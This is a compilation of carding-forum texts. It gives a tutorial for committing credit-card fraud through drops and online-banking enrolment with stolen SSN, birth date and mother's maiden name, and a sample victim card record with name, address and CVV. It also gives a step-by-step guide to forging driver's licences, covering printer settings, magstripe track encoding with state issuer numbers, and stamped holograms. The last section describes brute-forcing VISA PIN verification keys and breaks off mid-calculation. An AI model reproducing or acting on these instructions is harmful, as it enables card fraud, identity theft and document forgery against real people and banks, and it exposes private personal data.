415083 3 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
|
||
415086 3 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
|
||
476900 69 ZIONS_FIRST_NATIONAL_BANK CREDIT BUSINESS
|
||
UNITED_STATES_OF_AMERICA
|
||
477323 1 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
|
||
477324 1 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
|
||
477327 8 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
|
||
491473 4 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
|
||
491477 3 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
|
||
491485 3 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
|
||
491494 2 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
|
||
491901 2 NCSC_F.C.U. DEBIT CLASSIC UNITED_STATES_OF_AMERICA
|
||
|
||
Bases of thing carding
|
||
This article, I hope, will help beginners to answer myself immemorial question ?. To begin with we need
|
||
to understand that here, as well as in any business, there is a chain and if simply to hammer somewhere a
|
||
card, anybody home won't send the goods to you. As a rule this chain is realized by 2 persons the one
|
||
who the goods and that who it accepts a carditis. To the beginner to do simultaneously both that and
|
||
another isn't real almost. We will consider these two links more in detail further.
|
||
To begin with it is necessary to find shop, it is natural online shop in which we will make purchase. It is
|
||
not necessary to be greedy since to receive плазменник with a cinema for 10К it will not turn out for
|
||
many reasons. We choose to themselves the type goods ноута or фотика, вобщем by more low 1К-
|
||
1.5K ? for beginners it is optimum IMHO. We take a card Further, for purchase it needs to be prepared.
|
||
Since to order on the address of its owner doesn't leave and the sense isn't present. It is necessary to order
|
||
on дропа. Дроп it is citizen US with whom have dissolved that it has accepted a parcel and has sent it
|
||
where will tell and for it has received the 30-50 dollars (+ геморняк on all life forward ? ыыы). But we
|
||
will not be hurries up, we will assume at us there is here such card:
|
||
name_on_card=mark s messina
|
||
address1=60 plainfeild ave
|
||
city=west haven
|
||
state=CT
|
||
zipcode=06516
|
||
country=US
|
||
credit_card=4*****0101504612
|
||
exp_month=03
|
||
exp_year=2008
|
||
cvv2=282
|
||
I hope to decipher this field it is necessary to nobody.
|
||
Further it is necessary to make Enroll.
|
||
For this purpose it is required to us SSN (Social Security Number) + DOB (Day of Birthday) + MMN
|
||
(Mother Maiden Name). To find such information it is possible at shEn or ? (as advertizing) By the way
|
||
in some banks for энрола, besides the listed data it is necessary ищё nobility PIN or ATM. To pass this
|
||
degree of protection extremely difficult and нахрен not нада for such business. To learn to what bank the
|
||
card concerns it is possible on a bin, i.e. on the first figures in card number. Use program CC2Bank (read
|
||
here this theme - http://www.verified.ru/showthread.php?t=26). We go on a bank site Further, we come
|
||
into section Enroll (if you visually can't find this section, испольуйте search on a bank site). We pass all
|
||
offered countries Further, stage by stage entering on them the data, an e-mail it is possible to enter any,
|
||
Jahu and not Hotmail certainly is desirable not. (I hope that it is necessary to use a proxy etc. it is not
|
||
necessary to remind). You have received Online access to a card, here it is possible to look what balance
|
||
on a card (it should surpass at least in 2-3 times planned purchase) and there is a section where it is
|
||
possible to change the data on a card. (To describe as sections where I will not search for these buttons
|
||
etc. ? since it silly, in each bank on a miscellaneous) are called. So if the balance good, goes to section for
|
||
change инфы. It is possible to replace only Address1, City, State, Zipcode and Phone number.We take
|
||
information of dropa, it will be for example:
|
||
70 Tunstill Loop Rd
|
||
Fayetteville
|
||
TN
|
||
37334
|
||
(Thanks xTc for given инфу about the person, which already likely on plank beds).
|
||
Open there is phone question on which it is necessary to accept a call from a shop and probably then from
|
||
it to call. The blessing for this purpose exists various Ip the Telephony (use Google) where it is possible
|
||
to buy external number. We buy phone of the same staff, as дроп. In this case Tennessee.
|
||
Further we interrupt the data in a card on ours, will write how many it is necessary to wait for
|
||
application ? usually couple of days, but everywhere on a miscellaneous. Therefore a card we will
|
||
postpone for a certain time. After the lapse of two days a card it is necessary чекнуть if at you isn't
|
||
|
||
present мерчанта near at hand or own x-login ? it is possible to make easier, to go on a type site nero.com
|
||
or etc. trading in a software and to buy there not necessary херню for 20 dollars. If payment has passed
|
||
successfully ? the card means is live and it is possible шопится. At вбиве a card it is necessary to use the
|
||
OLD Name, number, exp and CVV a code, other data we take recently changed.
|
||
We go on a site of shop and to affairs the order. (Don't press close to pay as much as possible fast
|
||
delivery of the goods.) u????u addresses and шипинг (i.e. deliveries) now identical for the clear reasons.
|
||
After the order to you is made will send the letter where will tell that you need to be called or to you will
|
||
call, therefore be online (don't forget about time zones). If you can't talk on eng ? ask skilled
|
||
прозвонщика. After school ?Hello. My name is Tom. How are you? ? with nasty кацапским accent you
|
||
will send нахуй)) Further if by phone you have confirmed the order successfully, to you will give Track
|
||
number on which it will be visible (through a site магаза in certain section) as well as where now the
|
||
goods and when it will receive дроп. (By the way never call in магаз if you about it haven't asked ?
|
||
деклайн it is guaranteed). Then work дроповода, he is necessary for calling дропу with to instruct where
|
||
to send the goods, what service etc. ? it is possible to send the goods on the buyer, some home send
|
||
themselves =)) This your business already.
|
||
Good luck.
|
||
Basic ID Making [TUTORIAL]
|
||
I will first run down the things that you will need. I am going to tell you what you need to make a
|
||
professional looking state driver lisence, you may not need all of this but it is what is needed to make it
|
||
look real if you don’t use something that I tell you to it’s your call, your ID may end up looking different
|
||
than it should.
|
||
• Photo editing software (I personally suggest Adobe Photoshop 6.0 or above)
|
||
• Prior knowledge of Photoshop is a must
|
||
• State identification template
|
||
• A scanner if you need to scan a photo of yourself
|
||
• Epson printer (c82 or 820) or a laser printer
|
||
• Laminator
|
||
• Teslin (Type of teslin depends on what kind of printer you have)
|
||
• Magstrip encoder (not a nessecity but to make a professional identification card it is needed)
|
||
They’re may be other supplies that you need depending on what state you do, and if it has a hologram,
|
||
that will be explained later in the article.
|
||
Okay the first step would be to get a template, these are readily available in more than one place IF you
|
||
know where to look. Me being the nice guy that I am will help you with that factor. Just search a search
|
||
engine (google?) www.google.com or any p2p program should be more than sufficient, otherwise you
|
||
may know somebody who will sell them to you or trade them. There are of course other options, you can
|
||
make your own, which of course entails tedious work, taking days or even weeks. Or you could scan an
|
||
ID that you already have and edit it that way.
|
||
Okay so let’s say you have your template and you have photoshop, it’s time to get crackin’.
|
||
|
||
So you need to open up photoshop, and start editing your information. Get your picture in the box and
|
||
resize the image so you can print.
|
||
When it comes time to print it may be a bit difficult.
|
||
I am going to assume that you are using single sided Teslin. You will first need to find the coated side of
|
||
the Teslin paper, now this may take a little bit of experience to figure it out. The correct side is a bit
|
||
smoother than the other. Just put it in between you fingers and rub the paper until you figure out what
|
||
side is smoother, if you cant figure it out it’s not a problem, you’ve got a 50% chance of getting it right.
|
||
You will know weather or not it was right after you print for obvious reasons, the ink will bleed and look
|
||
really bad. In which case you just flip it over and print it on another position on the teslin.
|
||
After you have the right side picked out , you might want to mark the corner with a pen. Then place the
|
||
teslin in the printer so that it will print on the correct side
|
||
Configuring the 8up Template
|
||
Now that you are ready to print, you will need the 8up Teslin Template. You can download it here.
|
||
After you download it, unzip it and open it in Photoshop. Open your finished template as well. Before
|
||
you can print, you need to check the resolution of the temp you are using and match the 8up temp's
|
||
resolution to it. To do this, click on the window of your template to make it active, go to the Image menu
|
||
and click Image Size. Look at the Resolution. It should have a number like 1200 pixels/inch. That is the
|
||
DPI of the temp you are using.
|
||
Now, switch over to the 8up temp that you should already have open. Go back to Image Size under the
|
||
Image menu. Make sure the Resolution is the same between the two temps. The 8up temp I have hosted
|
||
here on this site is already in 1200 DPI, but if you have downloaded it from somewhere else in the past
|
||
(such as Brainstorm ID Supply), it may be in 600. If it is not the same, type in the number it should be
|
||
and click OK. Photoshop will then convert the 8up temp to the correct resolution.
|
||
Copying and Pasting on to the 8up Template
|
||
Activate the window of your front template in Photoshop. Under the Select menu, click All. Go to the
|
||
Edit menu and click Copy Merged. You should copy it merged since you won't need all those layers just
|
||
to print.
|
||
Switch over to the 8up temp and go back to the Edit menu and click Paste. You should now have a new
|
||
layer in the 8up temp containing your front temp. Select that layer (if it isn't already selected) in the
|
||
Layers window. Select the Move tool by either clicking on it in the Tools palette or by pressing V. It will
|
||
help if you check the box next to Show Bounding Box at the top. If you don't see this option, go to the
|
||
Window menu and click Options.
|
||
There are 8 rectangles on the 8up temp (hence the name). Decide where you want to print the front of the
|
||
license. When I've got a blank sheet of Teslin, I start by printing the front in the top left. Move the layer
|
||
to the rectangle where you want it to print. Do this by simply dragging it with the Move tool. It should
|
||
snap into place inside the rectangle. Hopefully, it will be the correct size, but if it isn't you may need to
|
||
resize it to fit inside the rectangle by dragging the borders. Remember how you checked the Show
|
||
Bounding Box option? This is why.
|
||
Adjusting Print Settings
|
||
Click Print under the File menu. Click Properties. Now you must adjust the print settings to match the
|
||
printer and the Teslin (single or double sided). Here are some settings that I recommend for the printer
|
||
that I use:
|
||
Epson 820 - Single Sided Teslin - Front:
|
||
* Under Mode, Choose Custom
|
||
* Click Advanced
|
||
* Media Type: Photo Paper
|
||
* Ink: Color
|
||
* Print Quality: Photo - 2880dpi
|
||
* Color Management: No Color Adjustment
|
||
* Uncheck Edge Smoothing
|
||
|
||
* Uncheck Epson Natural Color
|
||
Epson 820 - Single Sided Teslin - Back:
|
||
* Under Mode, Choose Custom
|
||
* Click Advanced
|
||
* Media Type: Matte Paper - Heavyweight
|
||
* Ink: Black
|
||
* Print Quality: Photo - 1440dpi
|
||
* Color Management: No Color Adjustment
|
||
* Uncheck Edge Smoothing
|
||
* Uncheck Epson Natural Color
|
||
Epson C82 - Laser Teslin - Front:
|
||
* Choose Matte Paper - Heavyweight
|
||
* Choose Photo RPM
|
||
* Uncheck all print options except SuperMicroweave
|
||
* Select PhotoEnhance
|
||
* Set Tone equal to Vivid
|
||
* Set Effect to High Sharpness
|
||
* Turn Digital Camera Correction off
|
||
Epson C82 - Laser Teslin - Back (Assuming the back is only black, if not use the front settings):
|
||
* Choose Matte Paper - Heavyweight
|
||
* Choose Best Photo
|
||
* Check Black Ink Only
|
||
* Uncheck Edge Smoothing
|
||
Printing the Front
|
||
After you've adjusted the settings to your liking, it's time to finish up and print the front. You should still
|
||
have the Print window open, but if not go back to Print under the File menu. Now all that is left to do is
|
||
click OK. Just sit back and wait because it will take a few minutes. After it's done printing, let it dry for a
|
||
couple of minutes before you touch it. You wouldn't want to smear the ink on that great looking novelty
|
||
you just printed, would you?
|
||
Printing the Back
|
||
Now it's time to do the back. The procedure is nearly the same as printing the front. The only differences
|
||
are where you place the back temp layer on the 8up temp to print, the side of the Teslin you print on, and
|
||
(if you are using single sided Teslin) the print settings that you use.
|
||
Follow the steps in this guide the same way you did for the front, until the part about placing the layer on
|
||
the 8up temp to print. You will want to put the back temp in the rectangle that was to the right or left of
|
||
the rectangle you printed the front temp from. For example, you printed the front temp by placing it in the
|
||
top left rectangle on the 8up temp. In this case, you'll want to put the back temp in the top right rectangle.
|
||
You will need to flip over the Teslin so that the back will print on the opposite side of the front. Use your
|
||
common sense, and think about how the printer feeds the paper through.
|
||
Adjust the print settings if you are using single sided Teslin, or for double sided, check to make sure they
|
||
are still the same. Now you are ready to print it.
|
||
If you did everything right, you should end up with a front and back that look great and are aligned
|
||
perfectly (or at least very close
|
||
The following information was borrowed from an article written by The Jerm
|
||
This is a basic guide to encoding the magstripe on driver licenses/ID’s. First, you need to have an
|
||
MSR206 magstripe encoder. If you don't have one already you can find them easily through an internet
|
||
search or eBay. It'll run you about $600. Okay, now you need some software. You can download my
|
||
program for free at http://thejerm.0catch.com. I won't cover how to use the software here. It's pretty self-
|
||
explanatory but if you run into any problems just read the readme.txt file that comes with it.
|
||
Driver License/ID Encoding
|
||
If you want to encode an ID there are two ways to go about it:
|
||
1. You can read the magstripe from a real ID and then manually edit the tracks. Here's an example of
|
||
track 1 from an Arizona license:
|
||
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^
|
||
|
||
Now, if your name is Joe Blow and you live at 123 Fake St. in Tuscon you could easily change it to:
|
||
AZTUCSON^BLOW$JOE^123 FAKE ST^
|
||
If you just want to change the birth date it can be found at the end of track 2 in this format:
|
||
YYYYMMDD. Most states follow the AAMVA standard pretty closely. The AAMVA standards
|
||
document can be downloaded here:
|
||
http://aamva.com/Documents/stdAAMVAD...ecs_092003.pdf
|
||
2. You can use the built-in ID tracks generator in my program. Unfortunately for most of you I’ve only
|
||
included the formats for CA and AZ. If you want to do a little work you can create a script for your own
|
||
state’s format. The instructions for doing that are in the readme.txt file that comes with the program. I’d
|
||
recommend copying the AZ script and editing it rather than starting from scratch.
|
||
AAMVA Format
|
||
Here’s a rundown of the AAMVA format with each part color coded for easy reference:
|
||
Sample:
|
||
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^
|
||
6360260401234567=380719800711=
|
||
!!85023 D M601185BRNGRN
|
||
Track 1:
|
||
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^
|
||
AZ – State Abbreviation. Fixed length of 2 characters.
|
||
PHOENIX – City. Maximum length is 13 characters. If city is less than 13 characters it must be followed
|
||
by ^ field separator. If city is more than 13 characters it is truncated to 13. No ^ needed if city is 13
|
||
characters long. Examples:
|
||
PHOENIX^
|
||
SANTA BARBARA
|
||
SAN LUIS OBIS (San Luis Obispo)
|
||
ADAMS$JOHN$QUINCY – Name. Maximum length is 35 characters. If less than 35, must be followed
|
||
by ^ field separator. Each name is separated by $. Format is LAST$FIRST$MIDDLE or LAST$FIRST if
|
||
no middle name is used.
|
||
1433 N ELM ST$APT 3 – Address. Maximum length is 77 minus the total number of characters of City +
|
||
Name fields. $ is used to separate address lines. If address is less than 29 characters it must be followed
|
||
by ^ field separator.
|
||
Track 2:
|
||
6360260401234567=380719800711=
|
||
636026 – Issuer Identification Number (IIN). Every state has a unique IIN. IIN is 6 digits long and starts
|
||
with 636. A list of some of the IIN’s is included at the end of this guide.
|
||
0401234567 – License/ID Number. Maximum length is 13 characters. If number is longer than 13
|
||
characters, extra characters are placed at end of track. If license/ID number contains letters, they are
|
||
converted to 2-digit number (A=01, Z=26). For example, the sample number I used was D01234567 but
|
||
got converted to 0401234567. License/ID number must always be followed by = field separator
|
||
regardless of length.
|
||
3807 – Expiration Date. Format is YYMM so this example expires in July of 2038 (AZ licenses expire on
|
||
65th birthday). Some states may use special codes in place of the expiration month. Codes are as follows:
|
||
If MM=77 then license is non-expiring.
|
||
If MM=88 the expiration date is after the last day of birth month one year from the month (MM) of birth
|
||
date and the year (YY) of expiration date.
|
||
If MM=99 then the expiration date is on the month (MM) and day (DD) of birth date and the year (YY)
|
||
of expiration date.
|
||
19800711 – Birth Date. Format is YYYYMMDD so this example is July 11, 1980.
|
||
= – License/ID Number Overflow. If License/ID number is longer than 13 characters extra characters go
|
||
here, otherwise a = field separator is placed here.
|
||
Track 3:
|
||
!!85023 D M601185BRNGRN
|
||
!! – Unknown. These two characters don’t seem to conform to the AAMVA standard and the standards
|
||
document contradicts itself. It’s probably safe to copy whatever’s in this spot on a real ID.
|
||
85023 - Zip Code. Fixed length of 11 characters. If Zip Code is less than 13 characters add spaces to
|
||
make it 13.
|
||
|
||
D - Class. Fixed length of 2 characters. If only 1 character add space.
|
||
(10 spaces) – Restrictions. Fixed length of 10 characters. If not present fill with spaces.
|
||
(4 spaces) – Endorsements. Fixed length of 4 characters. If not present fill with spaces.
|
||
M – Sex. Fixed length of 1 character. M for male, F for female.
|
||
601 – Height. Fixed length of 3 characters. Feet and inches. Sample is 6’1”.
|
||
185 – Weight. Fixed length of 3 characters. Weight is in pounds. If less than 100 lbs. use 0 for first
|
||
character.
|
||
BRN – Hair Color. Fixed length of 3 characters. Examples are BRN, BLN, RED, BLK.
|
||
GRN – Eye Color. Fixed length of 3 characters. Examples are GRN, BLU, HZL, BRN.
|
||
There may also be some discretionary data unique to each state at the end of track 3. One more thing,
|
||
make sure you set the track format to AAMVA under Card Types on the Settings tab or you may get an
|
||
error when you try to write to a card.
|
||
Issuer Identification Numbers
|
||
Alabama 636033 Louisiana 636007 Nova Scotia 636013
|
||
Arizona 636026 Maine 636041 Ohio 636023
|
||
Arkansas 636021 Maryland 636003 Oklahoma 636058
|
||
British Columbia 636028 Massachusetts 636002 Ontario 636012
|
||
California 636014 Michigan 636032 Oregon 636029
|
||
Colorado 636020 Minnesota 636038 Pennsylvania 636025
|
||
Connecticut 636006 Mississippi 636051 Rhode Island 636052
|
||
District of Columbia 636043 Missouri 636030 Saskatchewan 636044
|
||
Delaware 636011 Montana 636008 South Carolina 636005
|
||
Florida 636010 Nebraska 636054 South Dakota 636042
|
||
Georgia 636055 Nevada 636049 Tennessee 636053
|
||
Guam 636019 New Brunswick 636017 US State Dept 636027
|
||
Hawaii 636047 New Hampshire 636039 Texas 636015
|
||
Idaho 636050 New Jersey 636036 Utah 636040
|
||
Illinois 636035 New Mexico 636009 Vermont 636024
|
||
Indiana 636037 New York 636001 Virginia 636000
|
||
Iowa 636018 Newfoundland 636016 Washington 636045
|
||
Kansas 636022 North Carolina 636004 Wisconsin 636031
|
||
Kentucky 636046 North Dakota 636034
|
||
That’s about it. Good luck!
|
||
I realize this guide is getting a bit long but we’re almost done.
|
||
The holograms in my opinion are the worst part of the entire process, it may just be me but I am not a big
|
||
fan of this, for others, it’s the exact opposite, but I will still give you the information. There is more than
|
||
one method to making holograms, and for the sake of time will not go over them all, maybe in the future I
|
||
will make another guide including them all, but for right now I will just cover one of them.
|
||
Many of you may know what method I will be telling you about, and your sitting there thinking PhotoEZ,
|
||
well your wrong, I don’t like it, in fact, I hate it, instead I am going to tell you about an easier, cheaper
|
||
way to make your holograms and here it is.
|
||
Reffered to as the rubber stamp method The main reason people rule out rubber stamps in this business
|
||
anymore, is because they think that the only stamps that can be made are the ones you buy at office
|
||
stores, and only contain letters, numbers, etc. However- in most medium sized cities, there are stamp
|
||
shops that are able to produce VERY high-quality, detailed stamps, for around 10-20$ The best way to
|
||
get your CUSTOMIZED stamp made is to print out the hologram you wish to be made, with the exact
|
||
sizes. Keep in mind how you will be placing the stamp on your medium of choice, be it teslin, lamination,
|
||
overlam, or whatever. When you print your hologram image out- be sure its not backwards- and tell the
|
||
stamp producers this too, so when you stamp your teslin, overlam, lam...etc... it shows up facing you, and
|
||
not like a normal stamp, that would need to be facing the opposite direction on the actual stamp. lol, i
|
||
|
||
hope this part hasn't confused you- because the first couple of times i had stamps made i had to keep
|
||
making sure it would come out right before i took it in. I suggest you give the stamp producers an
|
||
example of how you want it done, on your medium of choice so it comes out right, and not in the opposite
|
||
direction. To find the stamp producers that can take in scanned images (your printed out hologram) and
|
||
make stamps out of them- just look in your yellow pages under "Rubber stamps" and call them to make
|
||
sure they can do this process before you go.
|
||
Ok, so that was the easy, no talent method for getting great quality rubber stamps. If you are really good
|
||
w/ art type stuff- and want a semi-hard challenge, goto the art department at your school and kindly ask
|
||
the teacher if they had some linoleum-print blocks that you could borrow for a project- along with the
|
||
proper chizling tools to cut out the stamp. Getting these items assumes that you are in highschool, and
|
||
you have an art dept. w/ these supplies. If not- you could probably just goto an art store and look for the
|
||
supplies yourself. (as mentioned above- you need a Special chizzle for linoleum block carving, and the
|
||
linoleum block itself) although I've never needed to do this before- because I'm still in school Now, with
|
||
your hologram image that you need to print out from your computer- cut out the parts of it that are
|
||
colored in with an exacto knife, and leave the white parts solid. You now have a stencil, basically. Draw
|
||
this onto the linoleum block, and make sure things look good...you may have to do some of the drawing
|
||
without the stencil in the smaller areas, but its not too difficult once you get the hang of it. After this,
|
||
carve out the areas on the block where there was white on the original printout. I suggest using a small
|
||
tool for this- so its easier to get into the little nooks and crannies of the holo. When you get the basic
|
||
outline of everything around your holo, you now need to put a pvc id, or credit card size object over the
|
||
holo and place it exactly where the holo should be on the id, when you make it. Carve this blank area out,
|
||
being sure not to cut into the actual hologram, and after this part is done, you're ready to put the
|
||
interference gold ink on (i suggest pearl-ex + boss gloss embossing gel- for stamps) and do this by mixing
|
||
the two things together, putting it all on the cardboard back of a notbook, making sure it gets well "inked"
|
||
then placing your lam, overlam, teslin's inside over it- so it can be stamped, and then its ready to go. Take
|
||
note- this second method pretty much only works on the NJ holo- as its the easiest, least complex holo out
|
||
there, however you can also make your own "offical-looking" stamps with this method too.
|
||
The easiest method by far for using stamps is to simply have one made at an stamp shop that can make
|
||
them from scanned images. If you arent very fammiliar with art shit or linoleum block printing I would'nt
|
||
attempt the second method. I only included it because i was bored one day during art, and decided to
|
||
"take" a linoleum block and the chizzels, and make myself an NJ holo. All in all, i prefer this method over
|
||
PhotoEZ, because they come out High-quality and all i have to do is press down the rubber/linolem stamp
|
||
on the "ink slab" (back of notebook) and then apply it to the lam, teslin or overlam. I hope you'll at least
|
||
try the first method, as I'm sure you'll find that the results kick ass.
|
||
I realize this guide got quite long and I apologize but I hoped you enjoyed reading it as much as I enjoyed
|
||
writing it. I want to thank everyone who either helped with this text, or created the different methods
|
||
explained throughout the article.
|
||
Once again be responsible with the information held out in front of you.
|
||
I wish you luck with whatever the future may hold for you.
|
||
Breaking VISA PIN
|
||
Have you ever wonder what would happen if you loose your credit or debit card and someone finds it.
|
||
Would this person be able to withdraw cash from an ATM guessing, somehow, your PIN? Moreover, if
|
||
you were who finds someone's card would you try to guess the PIN and take the chance to get some easy
|
||
money? Of course the answer to both questions should be "no". This work does not deal with the second
|
||
question, it is a matter of personal ethics. Herewith I try to answer the first question.
|
||
All the information used for this work is public and can be freely found in Internet. The rest is a matter of
|
||
|
||
mathematics and programming, thus we can learn something and have some fun. I reveal no secrets.
|
||
Furthermore, the aim (and final conclusion) of this work is to demonstrate that PIN algorithms are still
|
||
strong enough to provide sufficient security. We all know technology is not the weak point.
|
||
This work analyzes one of the most common PIN algorithms, VISA PVV, used by many ATM cards
|
||
(credit and debit cards) and tries to find out how resistant is to PIN guessing attacks. By "guessing" I do
|
||
not mean choosing a random PIN and trying it in an ATM. It is well known that generally we are given
|
||
three consecutive trials to enter the right PIN, if we fail ATM keeps the card. As VISA PIN is four digit
|
||
long it's easy to deduce that the chance for a random PIN guessing is 3/10000 = 0.0003, it seems low
|
||
enough to be safe; it means you need to loose your card more than three thousand times (or loosing more
|
||
than three thousand cards at the same time until there is a reasonable chance of loosing money.
|
||
What I really meant by "guessing" was breaking the PIN algorithm so that given any card you can
|
||
immediately know the associated PIN. Therefore this document studies that possibility, analyzing the
|
||
algorithm and proposing a method for the attack. Finally we give a tool which implements the attack and
|
||
present results about the estimated chance to break the system. Note that as long as other banking security
|
||
related algorithms (other PIN formats such as IBM PIN or card validation signatures such as CVV or
|
||
CVC) are similar to VISA PIN, the same analysis can be done yielding nearly the same results and
|
||
conclusions.
|
||
VISA PVV algorithm
|
||
One of the most common PIN algorithms is the VISA PIN Verification Value (PVV). The customer is
|
||
given a PIN and a magnetic stripe card. Encoded in the magnetic stripe is a four digit number, called
|
||
PVV. This number is a cryptographic signature of the PIN and other data related to the card. When a user
|
||
enters his/her PIN the ATM reads the magnetic stripe, encrypts and sends all this information to a central
|
||
computer. There a trial PVV is computed using the customer entered PIN and the card information with a
|
||
cryptographic algorithm. The trial PVV is compared with the PVV stored in the card, if they match the
|
||
central computer returns to the ATM authorization for the transaction. See in more detail.
|
||
The description of the PVV algorithm can be found in two documents linked in the previous page. In
|
||
summary it consists in the encryption of a 8 byte (64 bit) string of data, called Transformed Security
|
||
Parameter (TSP), with DES algorithm (DEA) in Electronic Code Book mode (ECB) using a secret 64 bit
|
||
key. The PVV is derived from the output of the encryption process, which is a 8 byte string. The four
|
||
digits of the PVV (from left to right) correspond to the first four decimal digits (from left to right) of the
|
||
output from DES when considered as a 16 hexadecimal character (16 x 4 bit = 64 bit) string. If there are
|
||
no four decimal digits among the 16 hexadecimal characters then the PVV is completed taken (from left
|
||
to right) non decimal characters and decimalizing them by using the conversion A->0, B->1, C->2, D->3,
|
||
E->4, F->5. Here is an example:
|
||
Output from DES: 0FAB9CDEFFE7DCBA
|
||
PVV: 0975
|
||
The strategy of avoiding decimalization by skipping characters until four decimal digits are found (which
|
||
happens to be nearly all the times as we will see below) is very clever because it avoids an important bias
|
||
in the distribution of digits which has been proven to be fatal for other systems, although the impact on
|
||
this system would be much lower. See also a related problem not applying to VISA PVV.
|
||
The TSP, seen as a 16 hexadecimal character (64 bit) string, is formed (from left to right) with the 11
|
||
rightmost digits of the PAN (card number) excluding the last digit (check digit), one digit from 1 to 6
|
||
which selects the secret encrypting key and finally the four digits of the PIN. Here is an example:
|
||
PAN: 1234 5678 9012 3445
|
||
Key selector: 1
|
||
PIN: 2468
|
||
TSP: 5678901234412468
|
||
|
||
Obviously the problem of breaking VISA PIN consists in finding the secret encrypting key for DES. The
|
||
method for that is to do a brute force search of the key space. Note that this is not the only method, one
|
||
could try to find a weakness in DEA, many tried, but this old standard is still in wide use (now been
|
||
replaced by AES and RSA, though). This demonstrates it is robust enough so that brute force is the only
|
||
viable method (there are some better attacks but not practical in our case, for a summary see LASEC
|
||
memo and for the dirty details see Biham & Shamir 1990, Biham & Shamir 1991, Matsui 1993, Biham &
|
||
Biryukov 1994 and Heys 2001).
|
||
The key selector digit was very likely introduced to cover the possibility of a key compromise. In that
|
||
case they just have to issue new cards using another key selector. Older cards can be substituted with new
|
||
ones or simply the ATM can transparently write a new PVV (corresponding to the new key and keeping
|
||
the same PIN) next time the customer uses his/her card. For the shake of security all users should be
|
||
asked to change their PINs, however it would be embarrassing for the bank to explain the reason, so very
|
||
likely they would not make such request.
|
||
Preparing the attack
|
||
A brute force attack consists in encrypting a TSP with known PVV using all possible encrypting keys and
|
||
compare each obtained PVV with the known PVV. When a match is found we have a candidate key. But
|
||
how many keys we have to try? As we said above the key is 64 bit long, this would mean we have to try
|
||
2^64 keys. However this is not true. Actually only 56 bits are effective in DES keys because one bit (the
|
||
least significant) out of each octet was historically reserved as a checksum for the others; in practice those
|
||
8 bits (one for each of the 8 octets) are ignored.
|
||
Therefore the DES key space consists of 2^56 keys. If we try all these keys will we find one and only one
|
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match, corresponding to the bank secret key? Certainly not. We will obtain many matching keys. This is
|
||
because the PVV is only a small part (one fourth) of the DES output. Furthermore the PVV is
|
||
degenerated because some of the digits (those between 0 and 5 after the last, seen from left to right, digit
|
||
between 6 and 9) may come from a decimal digit or from a decimalized hexadecimal digit of the DES
|
||
output. Thus many keys will produce a DES output which yields to the same matching PVV.
|
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Then what can we do to find the real key among those other false positive keys? Simply we have to
|
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encrypt a second different TSP, also with known PVV, but using only the candidate keys which gave a
|
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positive matching with the first TSP-PVV pair. However there is no guarantee we won't get again many
|
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false positives along with the true key. If so, we will need a third TSP-PVV pair, repeat the process and
|
||
so on.
|
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Before we start our attack we have to know how many TSP-PVV pairs we will need. For that we have to
|
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calculate the probability for a random DES output to yield a matching PVV just by chance. There are
|
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several ways to calculate this number and here I will use a simple approach easy to understand but which
|
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requires some background in mathematics of probability.
|
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A probability can always be seen as the ratio of favorable cases to possible cases. In our problem the
|
||
number of possible cases is given by the permutation of 16 elements (the 0 to F hexadecimal digits) in a
|
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group of 16 of them (the 16 hexadecimal digits of the DES output). This is given by 16^16 ~ 1.8 * 10^19
|
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which of course coincides with 2^64 (different numbers of 64 bits). This set of numbers can be separated
|
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into five categories:
|
||
1. Those with at least four decimal digits (0 to 9) among the 16 hexadecimal digits (0 to F) of the DES
|
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output.
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2. Those with exactly only three decimal digits.
|
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3. Those with exactly only two decimal digits.
|
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4. Those with exactly only one decimal digit.
|
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5. Those with no decimal digits (all between A and F).
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Let's calculate how many numbers fall in each category. If we label the 16 hexadecimal digits of the DES
|
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|
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output as X1 to X16 then we can label the first four decimal digits of any given number of the first
|
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category as Xi, Xj, Xk and Xl. The number of different combinations with this profile is given by the
|
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product 6 i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 6 l-k-1 * 10 * 1616-l where the 6's come from the number
|
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of possibilities for an A to F digit, the 10's come from the possibilities for a 0 to 9 digit, and the 16 comes
|
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from the possibilities for a 0 to F digit. Now the total numbers in the first category is simply given by the
|
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summation of this product over i, j, k, l from 1 to 16 but with i < j < k < l. If you do some math work you
|
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will see this equals to the product of 104/6 with the summation over i from 4 to 16 of (i-1) * (i-2) * (i-3) *
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6i-4 * 16 16-i ~ 1.8 * 1019.
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Analogously the number of cases in the second category is given by the summation over i, j, k from 1 to
|
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16 with i < j < k of the product 6i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 616-k which you can work it out to
|
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be 16!/(3! * (16-13)!) * 103 * 6 13 = 16 * 15 * 14/(3 * 2) * 103 * 613 = 56 * 104 * 613 ~ 7.3 * 1015.
|
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Similarly for the third category we have the summation over i, j from 1 to 16 with i < j of 6 i-1 * 10 * 6j-
|
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i-1 * 10 * 616-j which equals to 16!/(2! * (16-14)!) * 102 * 614 = 2 * 103 * 615 ~ 9.4 * 1014. Again, for
|
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the fourth category we have the summation over i from 1 to 16 of 6i-1 * 10 * 616-i = 160 * 615 ~ 7.5 *
|
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1013. And finally the amount of cases in the fifth category is given by the permutation of six elements (A
|
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to F digits) in a group of 16, that is, 616 ~ 2.8 * 1012.
|
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I hope you followed the calculations up to this point, the hard part is done. Now as a proof that everything
|
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is right you can sum the number of cases in the 5 categories and see it equals the total number of possible
|
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cases we calculated before. Do the operations using 64 bit numbers or rounding (for floats) or overflow
|
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(for integers) errors won't let you get the exact result.
|
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Up to now we have calculated the number of possible cases in each of the five categories, but we are
|
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interested in obtaining the number of favorable cases instead. It is very easy to derive the latter from the
|
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former as this is just fixing the combination of the four decimal digits (or the required hexadecimal digits
|
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if there are no four decimal digits) of the PVV instead of letting them free. In practice this means turning
|
